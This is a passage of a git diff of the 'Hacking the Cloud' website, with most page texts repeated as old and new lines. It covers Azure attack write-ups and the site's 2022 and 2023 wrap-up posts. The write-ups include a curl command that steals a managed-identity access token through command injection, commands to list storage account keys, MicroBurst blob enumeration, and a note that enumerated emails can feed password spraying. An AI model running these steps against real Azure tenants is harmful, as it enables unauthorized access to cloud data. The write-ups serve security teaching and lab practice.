So in our case, we should see under the Storage Account that the web application has Reader and Data Access:

Azure Managed Identities

Next steps

Now that we have the basics of how Managed Identity works, let’s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application, we should also be able to gain access to the storage account as well. Simply put, we get the same permissions that compromised resource has assignred to it. Based on how poorly the Identity roles are assigned, it could even be the case that the permissions are assigned at the Subscription level, effectively granting us access to all the resources within the subscription!

Azure Managed Identities

While in our case it appears that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a caveat that allows us to exploit the access privileges. The web app only requires permissions to access the "images" container, however the identity access has been misconfigured and allows the application read permissions for all keys on the storage account. Thus granting the attacker the ability to access any container within the same account.

Exploiting Azure Managed Identity

Utilising command injection on the web app, we are able to make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an Access token and Account ID (clientId in the response) which can be used to authenticate to Azure.

curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
 
Azure Managed Identities

Using the Azure Powershell module, we can connect to Azure with the access token:

PS> Install-Module -Name Az -Repository PSGallery -Force
 PS> Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>
@@ -17,6 +17,6 @@
 ------- -----                       ----------- ----------
 key1    L175hccq[...]lH9DJ==        Full 3/12/20...
 key2    vcZiPzJp[...]ZkKvA==        Full 3/12/20...
-

http://aka.ms/storage-explorer

If the above command returns two keys, then it means that our identity had permissions to list them. Assuming this is the case - let’s use these keys in Azure Storage Explorer and see if there are other containers stored on the same account.

In the Azure Storage Explorer, we click the connect icon and select storage account or service.

Azure Managed Identities

On the second step, this time we select the Account name and key option:

Azure Managed Identities

For the Account name we use the name that we enumerated in the Get-AzResource step, and for the key; either of the two returned keys will work:

Azure Managed Identities

Once we connect, on the left side menu we should find a new storage account, we see 2 containers: the images container used by the web app, but also another one containing the flag.

Azure Managed Identities

And that’s it! We have just seen how utilising a command injection into a web app, we discovered that it had a managed identity associated to it. After we got the JWT access token, we connected to Azure using the Azure Powershell CLI and enumerated the resources that we have access to. The improper permissions set for the Managed Identity allowed us to read the access key for the whole Storage Account and discover another private container that was not referenced anywhere, containing the flag for sensitive information.

\ No newline at end of file diff --git a/azure/anonymous-blob-access/index.html b/azure/anonymous-blob-access/index.html index 6abd9703d..441ae8a1e 100644 --- a/azure/anonymous-blob-access/index.html +++ b/azure/anonymous-blob-access/index.html @@ -7,7 +7,7 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by andrei8055

Anonymous Blob Access

"Storage Accounts" is the service provided by Azure to store data in the cloud. A storage account can used to store:

  • Blobs
  • File shares
  • Tables
  • Queues
  • VM disks

Azure Storage Account

For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:

  • Private Access – no anonymous access is allowed
  • Blob Access – we can access the blobs anonymously, as long as we know the full URL (container name + blob name)
  • Container Access – we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)

As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.

Exploiting Anonymous Blob Access

Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I’ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it’ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:

PS > import-module .\MicroBurst.psm1
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}       

Article by andrei8055

Anonymous Blob Access

"Storage Accounts" is the service provided by Azure to store data in the cloud. A storage account can used to store:

  • Blobs
  • File shares
  • Tables
  • Queues
  • VM disks

Azure Storage Account

For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:

  • Private Access – no anonymous access is allowed
  • Blob Access – we can access the blobs anonymously, as long as we know the full URL (container name + blob name)
  • Container Access – we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)

As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.

Exploiting Anonymous Blob Access

Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I’ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it’ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:

PS > import-module .\MicroBurst.psm1
 PS> Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc
 Found Storage Account - 0xpwnstorageacc.blob.core.windows.net
 Found Container - 0xpwnstorageacc.blob.core.windows.net/public
@@ -36,6 +36,6 @@
     </Blobs>
     <NextMarker/>
 </EnumerationResults>
-

\ No newline at end of file diff --git a/azure/enum_email_addresses/index.html b/azure/enum_email_addresses/index.html index 0e54b0d49..c1aed41fa 100644 --- a/azure/enum_email_addresses/index.html +++ b/azure/enum_email_addresses/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by Wes Ladd (@righteousgambit)

Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses

You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

Article by Wes Ladd (@righteousgambit)

Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses

You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

\ No newline at end of file diff --git a/azure/soft-deleted-blobs/index.html b/azure/soft-deleted-blobs/index.html index e4e295151..7799d9f51 100644 --- a/azure/soft-deleted-blobs/index.html +++ b/azure/soft-deleted-blobs/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Article by andrei8055

Soft Deleted Blobs

In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:

  • A shared access signature (SAS) – is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.
  • A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.
  • Managed Identities

For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:

Storage Account Keys

Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don’t be that developer.

The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day “feature”.

Soft Deleted Blob

Exploiting Soft Deleted Blobs

Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:

Files

Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):

Source code

Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account

Storage Account explorer

And that we want to use a Connection String

Connection String

And we paste the value of the conn_str variable that we found in the source code, and connect:

Connection info

On the left side menu, a new storage account should show up. Navigate to the Blob Containers -> images and open it:

Container

At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:

Files

And voila! Right click -> Undelete

Flag

Article by andrei8055

Soft Deleted Blobs

In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:

  • A shared access signature (SAS) – is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.
  • A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.
  • Managed Identities

For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:

Storage Account Keys

Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don’t be that developer.

The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day “feature”.

Soft Deleted Blob

Exploiting Soft Deleted Blobs

Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:

Files

Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):

Source code

Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account

Storage Account explorer

And that we want to use a Connection String

Connection String

And we paste the value of the conn_str variable that we found in the source code, and connect:

Connection info

On the left side menu, a new storage account should show up. Navigate to the Blob Containers -> images and open it:

Container

At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:

Files

And voila! Right click -> Undelete

Flag

\ No newline at end of file diff --git a/blog/2022_wrap-up/index.html b/blog/2022_wrap-up/index.html index d4f76cbb6..be1e3003e 100644 --- a/blog/2022_wrap-up/index.html +++ b/blog/2022_wrap-up/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

2022 Wrap-up


2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.

Numbers

I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:

  • 625 stars gained on GitHub
  • 225 commits committed
  • 73,925 visits
  • 124,278 page views
  • 6,408 average monthly visitors (excluding December)
  • 9,763 average monthly visitors in the past quarter!

Monthly visitor graph

November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.

Compared to 2021, visitor count has increased over 94%! (Note: 2022 is not over, hence the dotted line for 2022)

Yearly visitor graph

We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.

Some more numbers; this time the most popular articles along with page views:

  1. Steal EC2 Metadata Credentials via SSRF - 10,963 page views!
  2. CI/CDon't - 5,842 page views.
  3. AWS Organizations Defaults - 5,325 page views.
  4. Connection Tracking - 5,209 page views.
  5. Using Stolen IAM Credentials - 5,043 page views.

Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic.

CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.

Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a "playbook" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?

RSS Feeds!

If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).

Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.

Plagiarism

Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.

Hacking the Cloud Copy

As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project.

Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).

I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.

To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.

Feb 2024 Update

It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.

As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).

Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.

Mastodon

In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.

Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.

Showing the Mastodon profile page for Hacking the Cloud

Plans for the Future

Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call "playbooks"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.

The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.

And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.

Conclusion

I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!

2022 Wrap-up


2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.

Numbers

I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:

  • 625 stars gained on GitHub
  • 225 commits committed
  • 73,925 visits
  • 124,278 page views
  • 6,408 average monthly visitors (excluding December)
  • 9,763 average monthly visitors in the past quarter!

Monthly visitor graph

November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.

Compared to 2021, visitor count has increased over 94%! (Note: 2022 is not over, hence the dotted line for 2022)

Yearly visitor graph

We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.

Some more numbers; this time the most popular articles along with page views:

  1. Steal EC2 Metadata Credentials via SSRF - 10,963 page views!
  2. CI/CDon't - 5,842 page views.
  3. AWS Organizations Defaults - 5,325 page views.
  4. Connection Tracking - 5,209 page views.
  5. Using Stolen IAM Credentials - 5,043 page views.

Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic.

CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.

Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a "playbook" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?

RSS Feeds!

If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).

Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.

Plagiarism

Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.

Hacking the Cloud Copy

As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project.

Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).

I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.

To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.

Feb 2024 Update

It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.

As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).

Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.

Mastodon

In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.

Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.

Showing the Mastodon profile page for Hacking the Cloud

Plans for the Future

Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call "playbooks"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.

The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.

And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.

Conclusion

I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!

\ No newline at end of file diff --git a/blog/2023_wrap-up/index.html b/blog/2023_wrap-up/index.html index 9374a75b7..7b2562dc9 100644 --- a/blog/2023_wrap-up/index.html +++ b/blog/2023_wrap-up/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

2023 Wrap-up


2023 is coming to a close and it’s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We’ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.

Numbers

Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:

  • 457 stars gained on GitHub (1389 total)
  • 128 commits committed
  • 96,031 visits
  • 187,542 pageviews
  • 8,238 average monthly visitors (excluding December)
  • And a partridge in a pear tree

Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!

The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.

An area that I’m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:

  1. Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!
  2. AWS Organizations Defaults & Pivoting - 15,343 pageviews.
  3. Abusing Managed Identities - 5,703 pageviews.
  4. Using Stolen IAM Credentials - 5,594 pageviews.
  5. Connection Tracking - 4,869 pageviews.

For the third year running, “Steal EC2 Metadata Credentials via SSRF” is our most popular article, but unlike previous years it’s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we’ll have to check the stats next year.

In second place, and very close to first, we have “AWS Organizations Defaults & Pivoting”. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the OrganizationAccountAccessRole, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.

In third place, we have the first non-AWS article to ever make a top 5 (and I’m pretty sure a top 10), “Abusing Managed Identities”. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I’m excited to see more interest in other cloud providers. If you aren’t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!

If you’re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.

Social media counts

  1. LinkedIn - 42% of links
  2. Twitter - 30% of links
  3. GitHub - 13% of links
  4. Reddit - 9% of links
  5. Facebook - 6% of links
  6. Others - <1%

LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.

In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022.

For my Mastodon fans, I wouldn’t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn’t a very easy way to track it. Personally, I’ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!

Thank you!

Again, I want to say thank you to everyone who has shared the site’s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!

2023 Wrap-up


2023 is coming to a close and it’s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We’ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.

Numbers

Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:

  • 457 stars gained on GitHub (1389 total)
  • 128 commits committed
  • 96,031 visits
  • 187,542 pageviews
  • 8,238 average monthly visitors (excluding December)
  • And a partridge in a pear tree

Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!

The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.

An area that I’m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:

  1. Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!
  2. AWS Organizations Defaults & Pivoting - 15,343 pageviews.
  3. Abusing Managed Identities - 5,703 pageviews.
  4. Using Stolen IAM Credentials - 5,594 pageviews.
  5. Connection Tracking - 4,869 pageviews.

For the third year running, “Steal EC2 Metadata Credentials via SSRF” is our most popular article, but unlike previous years it’s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we’ll have to check the stats next year.

In second place, and very close to first, we have “AWS Organizations Defaults & Pivoting”. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the OrganizationAccountAccessRole, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.

In third place, we have the first non-AWS article to ever make a top 5 (and I’m pretty sure a top 10), “Abusing Managed Identities”. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I’m excited to see more interest in other cloud providers. If you aren’t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!

If you’re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.

Social media counts

  1. LinkedIn - 42% of links
  2. Twitter - 30% of links
  3. GitHub - 13% of links
  4. Reddit - 9% of links
  5. Facebook - 6% of links
  6. Others - <1%

LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.

In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022.

For my Mastodon fans, I wouldn’t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn’t a very easy way to track it. Personally, I’ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!

Thank you!

Again, I want to say thank you to everyone who has shared the site’s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!

\ No newline at end of file diff --git a/blog/v2_new_look/index.html b/blog/v2_new_look/index.html index d9a110382..88b308f5e 100644 --- a/blog/v2_new_look/index.html +++ b/blog/v2_new_look/index.html @@ -7,6 +7,6 @@ .gdesc-inner { font-size: 0.75rem; } body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);} body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);} - body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}

Hacking The Cloud v2: New Look


Whoa! Things look a little different? You're not imagining it.

The old look

The old look.

